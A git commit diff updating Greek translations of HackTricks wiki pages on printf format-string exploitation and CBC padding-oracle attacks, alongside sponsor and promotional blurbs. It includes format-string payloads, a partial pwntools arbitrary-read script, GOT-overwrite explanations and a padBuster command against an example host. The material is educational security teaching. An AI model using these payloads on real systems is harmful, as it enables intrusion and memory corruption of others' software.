Translated ['README.md', 'binary-exploitation/format-strings/README.md',

This commit is contained in:
Translator 2024-11-09 13:32:39 +00:00
parent 946a4628a9
commit 607bcb941a
43 changed files with 1185 additions and 776 deletions

View file

@ -5,7 +5,7 @@
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %} {% hint style="success" %}
**Καλώς ήρθατε στη wiki όπου θα βρείτε κάθε κόλπο/τεχνική/οτιδήποτε έχω μάθει από CTFs, πραγματικές εφαρμογές, διαβάζοντας έρευνες και ειδήσεις.** **Καλώς ήρθατε στο wiki όπου θα βρείτε κάθε κόλπο/τεχνική/οτιδήποτε έχω μάθει από CTFs, πραγματικές εφαρμογές, διαβάζοντας έρευνες και ειδήσεις.**
{% endhint %} {% endhint %}
Για να ξεκινήσετε, ακολουθήστε αυτή τη σελίδα όπου θα βρείτε τη **τυπική ροή** που **πρέπει να ακολουθήσετε όταν κάνετε pentesting** σε μία ή περισσότερες **μηχανές:** Για να ξεκινήσετε, ακολουθήστε αυτή τη σελίδα όπου θα βρείτε τη **τυπική ροή** που **πρέπει να ακολουθήσετε όταν κάνετε pentesting** σε μία ή περισσότερες **μηχανές:**
@ -69,9 +69,9 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
Ελάτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty! Ελάτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty!
* **Insights για Hacking:** Συμμετάσχετε σε περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking * **Hacking Insights:** Συμμετοχή σε περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking
* **Νέα Hack σε Πραγματικό Χρόνο:** Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και insights σε πραγματικό χρόνο * **Real-Time Hack News:** Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο
* **Τελευταίες Ανακοινώσεις:** Μείνετε ενημερωμένοι με τις πιο πρόσφατες bug bounties που ξεκινούν και κρίσιμες ενημερώσεις πλατφόρμας * **Latest Announcements:** Μείνετε ενημερωμένοι με τις πιο πρόσφατες εκκινήσεις bug bounty και κρίσιμες ενημερώσεις πλατφόρμας
**Ελάτε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε να συνεργάζεστε με κορυφαίους hackers σήμερα! **Ελάτε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε να συνεργάζεστε με κορυφαίους hackers σήμερα!
@ -79,12 +79,14 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Το απαραίτητο εργαλείο για penetration testing ### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Το απαραίτητο εργαλείο για penetration testing
<figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Άμεσα διαθέσιμη ρύθμιση για αξιολόγηση ευπαθειών & penetration testing**. Εκτελέστε ένα πλήρες pentest από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που κυμαίνονται από recon έως reporting. Δεν αντικαθιστούμε τους pentesters - αναπτύσσουμε προσαρμοσμένα εργαλεία, modules ανίχνευσης & εκμετάλλευσης για να τους δώσουμε πίσω λίγο χρόνο για να εμβαθύνουν, να ανοίξουν shells και να διασκεδάσουν. #### Αποκτήστε την προοπτική ενός hacker για τις εφαρμογές σας στο web, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
\
{% endembed %} {% endembed %}
@ -109,13 +111,13 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) είναι μια επαγγελματική εταιρεία κυβερνοασφάλειας με έδρα το **Άμστερνταμ** που βοηθά **στην προστασία** επιχειρήσεων **σε όλο τον κόσμο** από τις τελευταίες απειλές κυβερνοασφάλειας παρέχοντας **υπηρεσίες επιθετικής ασφάλειας** με μια **σύγχρονη** προσέγγιση. [**WebSec**](https://websec.nl) είναι μια επαγγελματική εταιρεία κυβερνοασφάλειας με έδρα το **Άμστερνταμ** που βοηθά **να προστατεύει** επιχειρήσεις **σε όλο τον κόσμο** από τις τελευταίες απειλές κυβερνοασφάλειας παρέχοντας **υπηρεσίες επιθετικής ασφάλειας** με μια **σύγχρονη** προσέγγιση.
Η WebSec είναι μια **all-in-one εταιρεία ασφάλειας** που σημαίνει ότι τα κάνει όλα: Pentesting, **Security** Audits, Εκπαιδεύσεις Ευαισθητοποίησης, Καμπάνιες Phishing, Ανασκόπηση Κώδικα, Ανάπτυξη Εκμεταλλεύσεων, Εξωτερική Ανάθεση Ειδικών Ασφαλείας και πολλά άλλα. Η WebSec είναι μια **all-in-one εταιρεία ασφάλειας** που σημαίνει ότι τα κάνει όλα: Pentesting, **Security** Audits, Εκπαιδεύσεις Ευαισθητοποίησης, Καμπάνιες Phishing, Ανασκόπηση Κώδικα, Ανάπτυξη Exploit, Εξωτερική Ανάθεση Ειδικών Ασφαλείας και πολλά άλλα.
Ένα άλλο ενδιαφέρον στοιχείο σχετικά με την WebSec είναι ότι, σε αντίθεση με τον μέσο όρο της βιομηχανίας, η WebSec είναι **πολύ σίγουρη για τις ικανότητές της**, σε τέτοιο βαθμό που **εγγυάται τα καλύτερα ποιοτικά αποτελέσματα**, αναφέρει στην ιστοσελίδα της "**Αν δεν μπορούμε να το χακάρουμε, δεν το πληρώνετε!**". Για περισσότερες πληροφορίες, ρίξτε μια ματιά στην [**ιστοσελίδα**](https://websec.nl/en/) και το [**blog**](https://websec.nl/blog/) τους! Ένα άλλο ενδιαφέρον στοιχείο σχετικά με την WebSec είναι ότι, σε αντίθεση με τον μέσο όρο της βιομηχανίας, η WebSec είναι **πολύ σίγουρη για τις ικανότητές της**, σε τέτοιο βαθμό που **εγγυάται τα καλύτερα ποιοτικά αποτελέσματα**, όπως αναφέρεται στην ιστοσελίδα τους "**Αν δεν μπορούμε να το χακάρουμε, δεν το πληρώνετε!**". Για περισσότερες πληροφορίες, ρίξτε μια ματιά στην [**ιστοσελίδα**](https://websec.nl/en/) και το [**blog**](https://websec.nl/blog/) τους!
Επιπλέον, η WebSec είναι επίσης **δεσμευμένος υποστηρικτής του HackTricks.** Επιπλέον, η WebSec είναι επίσης ένας **δεσμευμένος υποστηρικτής του HackTricks.**
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} {% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}

View file

@ -1,27 +1,34 @@
# Format Strings # Format Strings
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Υποστήριξη HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_).
{% embed url="https://www.stmcyber.com/careers" %}
## Basic Information ## Basic Information
Στην C **`printf`** είναι μια συνάρτηση που μπορεί να χρησιμοποιηθεί για να **εκτυπώσει** κάποια συμβολοσειρά. Η **πρώτη παράμετρος** που περιμένει αυτή η συνάρτηση είναι το **ακατέργαστο κείμενο με τους μορφοποιητές**. Οι **επόμενες παράμετροι** που αναμένονται είναι οι **τιμές** για να **υποκαταστήσουν** τους **μορφοποιητές** από το ακατέργαστο κείμενο. Στην C **`printf`** είναι μια συνάρτηση που μπορεί να χρησιμοποιηθεί για να **εκτυπώσει** κάποιο κείμενο. Η **πρώτη παράμετρος** που περιμένει αυτή η συνάρτηση είναι το **ακατέργαστο κείμενο με τους μορφοποιητές**. Οι **επόμενες παράμετροι** που αναμένονται είναι οι **τιμές** για να **αντικαταστήσουν** τους **μορφοποιητές** από το ακατέργαστο κείμενο.
Άλλες ευάλωτες συναρτήσεις είναι οι **`sprintf()`** και **`fprintf()`**. Άλλες ευάλωτες συναρτήσεις είναι οι **`sprintf()`** και **`fprintf()`**.
Η ευπάθεια εμφανίζεται όταν ένα **κείμενο επιτιθέμενου χρησιμοποιείται ως η πρώτη παράμετρος** σε αυτή τη συνάρτηση. Ο επιτιθέμενος θα είναι σε θέση να δημιουργήσει μια **ειδική είσοδο εκμεταλλευόμενος** τις δυνατότητες της **συνάρτησης printf** για να διαβάσει και να **γράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (αναγνώσιμη/γραπτή)**. Έτσι θα μπορεί να **εκτελέσει αυθαίρετο κώδικα**. Η ευπάθεια εμφανίζεται όταν ένα **κείμενο επιτιθέμενου χρησιμοποιείται ως η πρώτη παράμετρος** σε αυτή τη συνάρτηση. Ο επιτιθέμενος θα είναι σε θέση να δημιουργήσει μια **ειδική είσοδο εκμεταλλευόμενος** τις δυνατότητες της **μορφής printf** για να διαβάσει και να **γράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (αναγνώσιμη/γραπτή)**. Έτσι θα είναι σε θέση να **εκτελέσει αυθαίρετο κώδικα**.
#### Formatters: #### Formatters:
```bash ```bash
@ -81,12 +88,12 @@ printf("%4$x")
Σημειώστε ότι ο επιτιθέμενος ελέγχει την παράμετρο `printf`, **που σημαίνει βασικά ότι** η είσοδός του θα είναι στη στοίβα όταν καλείται το `printf`, που σημαίνει ότι θα μπορούσε να γράψει συγκεκριμένες διευθύνσεις μνήμης στη στοίβα. Σημειώστε ότι ο επιτιθέμενος ελέγχει την παράμετρο `printf`, **που σημαίνει βασικά ότι** η είσοδός του θα είναι στη στοίβα όταν καλείται το `printf`, που σημαίνει ότι θα μπορούσε να γράψει συγκεκριμένες διευθύνσεις μνήμης στη στοίβα.
{% hint style="danger" %} {% hint style="danger" %}
Ένας επιτιθέμενος που ελέγχει αυτή την είσοδο, θα είναι σε θέση να **προσθέσει αυθαίρετη διεύθυνση στη στοίβα και να κάνει το `printf` να τις προσπελάσει**. Στην επόμενη ενότητα θα εξηγηθεί πώς να χρησιμοποιηθεί αυτή η συμπεριφορά. Ένας επιτιθέμενος που ελέγχει αυτή την είσοδο, θα είναι σε θέση να **προσθέσει αυθαίρετη διεύθυνση στη στοίβα και να κάνει το `printf` να τις προσπελάσει**. Στην επόμενη ενότητα θα εξηγηθεί πώς να χρησιμοποιήσετε αυτή τη συμπεριφορά.
{% endhint %} {% endhint %}
## **Αυθαίρετη Ανάγνωση** ## **Αυθαίρετη Ανάγνωση**
Είναι δυνατόν να χρησιμοποιηθεί ο μορφοποιητής **`%n$s`** για να κάνει το **`printf`** να αποκτήσει τη **διεύθυνση** που βρίσκεται στη **n θέση**, ακολουθώντας την και **να την εκτυπώσει σαν να ήταν μια συμβολοσειρά** (εκτύπωση μέχρι να βρεθεί ένα 0x00). Έτσι, αν η βασική διεύθυνση του δυαδικού είναι **`0x8048000`**, και γνωρίζουμε ότι η είσοδος του χρήστη ξεκινά στη 4η θέση στη στοίβα, είναι δυνατόν να εκτυπωθεί η αρχή του δυαδικού με: Είναι δυνατόν να χρησιμοποιήσετε τον μορφοποιητή **`%n$s`** για να κάνετε το **`printf`** να αποκτήσει τη **διεύθυνση** που βρίσκεται στη **n θέση**, ακολουθώντας την και **να την εκτυπώσει σαν να ήταν μια συμβολοσειρά** (εκτύπωση μέχρι να βρεθεί ένα 0x00). Έτσι, αν η βασική διεύθυνση του δυαδικού είναι **`0x8048000`**, και γνωρίζουμε ότι η είσοδος του χρήστη ξεκινά στη 4η θέση στη στοίβα, είναι δυνατόν να εκτυπωθεί η αρχή του δυαδικού με:
```python ```python
from pwn import * from pwn import *
@ -158,9 +165,9 @@ AAAA.%500\$08x —> Param at offset 500
``` ```
Ωστόσο, σημειώστε ότι συνήθως για να γράψετε μια διεύθυνση όπως το `0x08049724` (η οποία είναι ένας ΜΕΓΑΛΟΣ αριθμός για να γραφτεί ταυτόχρονα), **χρησιμοποιείται το `$hn`** αντί για το `$n`. Αυτό επιτρέπει να **γραφούν μόνο 2 Bytes**. Επομένως, αυτή η λειτουργία εκτελείται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και άλλη μία για τα χαμηλότερα. Ωστόσο, σημειώστε ότι συνήθως για να γράψετε μια διεύθυνση όπως το `0x08049724` (η οποία είναι ένας ΜΕΓΑΛΟΣ αριθμός για να γραφτεί ταυτόχρονα), **χρησιμοποιείται το `$hn`** αντί για το `$n`. Αυτό επιτρέπει να **γραφούν μόνο 2 Bytes**. Επομένως, αυτή η λειτουργία εκτελείται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και άλλη μία για τα χαμηλότερα.
Επομένως, αυτή η ευπάθεια επιτρέπει να **γραφεί οτιδήποτε σε οποιαδήποτε διεύθυνση (τυχαία εγγραφή).** Επομένως, αυτή η ευπάθεια επιτρέπει να **γραφεί οτιδήποτε σε οποιαδήποτε διεύθυνση (arbitrary write).**
Σε αυτό το παράδειγμα, ο στόχος είναι να **επικαλυφθεί** η **διεύθυνση** μιας **λειτουργίας** στον πίνακα **GOT** που θα κληθεί αργότερα. Αν και αυτό θα μπορούσε να εκμεταλλευτεί άλλες τεχνικές τυχαίας εγγραφής για εκτέλεση: Σε αυτό το παράδειγμα, ο στόχος είναι να **επικαλυφθεί** η **διεύθυνση** μιας **λειτουργίας** στον πίνακα **GOT** που θα κληθεί αργότερα. Αν και αυτό θα μπορούσε να εκμεταλλευτεί άλλες τεχνικές arbitrary write για exec:
{% content-ref url="../arbitrary-write-2-exec/" %} {% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/) [arbitrary-write-2-exec](../arbitrary-write-2-exec/)
@ -229,14 +236,18 @@ p.interactive()
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bit, relro, no canary, nx, no pie, μορφή συμβολοσειράς για να αντικαταστήσει τη διεύθυνση `fflush` με τη συνάρτηση win (ret2win) * 32 bit, relro, no canary, nx, no pie, μορφή συμβολοσειράς για να αντικαταστήσει τη διεύθυνση `fflush` με τη συνάρτηση win (ret2win)
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 bit, relro, no canary, nx, no pie, μορφή συμβολοσειράς για να γράψει μια διεύθυνση μέσα στο main στο `.fini_array` (έτσι ώστε η ροή να επαναληφθεί 1 φορά ακόμα) και να γράψει τη διεύθυνση στο `system` στον πίνακα GOT που δείχνει στο `strlen`. Όταν η ροή επιστρέψει στο main, το `strlen` εκτελείται με είσοδο χρήστη και δείχνει στο `system`, θα εκτελέσει τις εντολές που έχουν περαστεί. * 32 bit, relro, no canary, nx, no pie, μορφή συμβολοσειράς για να γράψει μια διεύθυνση μέσα στο main στο `.fini_array` (έτσι ώστε η ροή να επαναληφθεί 1 φορά ακόμα) και να γράψει τη διεύθυνση στο `system` στον πίνακα GOT που δείχνει στο `strlen`. Όταν η ροή επιστρέψει στο main, η `strlen` εκτελείται με είσοδο χρήστη και δείχνει στο `system`, θα εκτελέσει τις εντολές που έχουν περαστεί.
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραφή και ομιλία στα πολωνικά_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary> <summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!

View file

@ -15,6 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## CBC - Cipher Block Chaining ## CBC - Cipher Block Chaining
In CBC mode the **previous encrypted block is used as IV** to XOR with the next block: In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
@ -45,9 +49,9 @@ Note how in the last example the **last block was full so another one was genera
## Padding Oracle ## Padding Oracle
When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**. Όταν μια εφαρμογή αποκρυπτογραφεί κρυπτογραφημένα δεδομένα, θα αποκρυπτογραφήσει πρώτα τα δεδομένα και στη συνέχεια θα αφαιρέσει το padding. Κατά την καθαριότητα του padding, αν ένα **μη έγκυρο padding προκαλέσει μια ανιχνεύσιμη συμπεριφορά**, έχετε μια **ευπάθεια padding oracle**. Η ανιχνεύσιμη συμπεριφορά μπορεί να είναι ένα **σφάλμα**, μια **έλλειψη αποτελεσμάτων** ή μια **αργή απόκριση**.
If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**. Αν ανιχνεύσετε αυτή τη συμπεριφορά, μπορείτε να **αποκρυπτογραφήσετε τα κρυπτογραφημένα δεδομένα** και ακόμη και να **κρυπτογραφήσετε οποιοδήποτε καθαρό κείμενο**.
### How to exploit ### How to exploit
@ -100,7 +104,7 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
### Ανίχνευση της ευπάθειας ### Ανίχνευση της ευπάθειας
Εγγραφείτε και συνδεθείτε με αυτόν τον λογαριασμό.\ Εγγραφείτε και δημιουργήστε λογαριασμό και συνδεθείτε με αυτόν το λογαριασμό.\
Αν συνδεθείτε πολλές φορές και πάντα λαμβάνετε το ίδιο cookie, πιθανότατα υπάρχει κάτι λάθος στην εφαρμογή. Το cookie που επιστρέφεται θα πρέπει να είναι μοναδικό κάθε φορά που συνδέεστε. Αν το cookie είναι πάντα το ίδιο, πιθανότατα θα είναι πάντα έγκυρο και δεν θα υπάρχει τρόπος να το ακυρώσετε. Αν συνδεθείτε πολλές φορές και πάντα λαμβάνετε το ίδιο cookie, πιθανότατα υπάρχει κάτι λάθος στην εφαρμογή. Το cookie που επιστρέφεται θα πρέπει να είναι μοναδικό κάθε φορά που συνδέεστε. Αν το cookie είναι πάντα το ίδιο, πιθανότατα θα είναι πάντα έγκυρο και δεν θα υπάρχει τρόπος να το ακυρώσετε.
Τώρα, αν προσπαθήσετε να τροποποιήσετε το cookie, μπορείτε να δείτε ότι λαμβάνετε ένα σφάλμα από την εφαρμογή.\ Τώρα, αν προσπαθήσετε να τροποποιήσετε το cookie, μπορείτε να δείτε ότι λαμβάνετε ένα σφάλμα από την εφαρμογή.\
@ -110,17 +114,21 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation) * [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Υποστήριξη HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,37 +1,41 @@
{% hint style="success" %} {% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Υποστηρίξτε το HackTricks</summary> <summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub. * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# CBC - Cipher Block Chaining # CBC - Cipher Block Chaining
Στη λειτουργία CBC το **προηγούμενο κρυπτογραφημένο μπλοκ χρησιμοποιείται ως IV** για το XOR με το επόμενο μπλοκ: Στη λειτουργία CBC, το **προηγούμενο κρυπτογραφημένο μπλοκ χρησιμοποιείται ως IV** για XOR με το επόμενο μπλοκ:
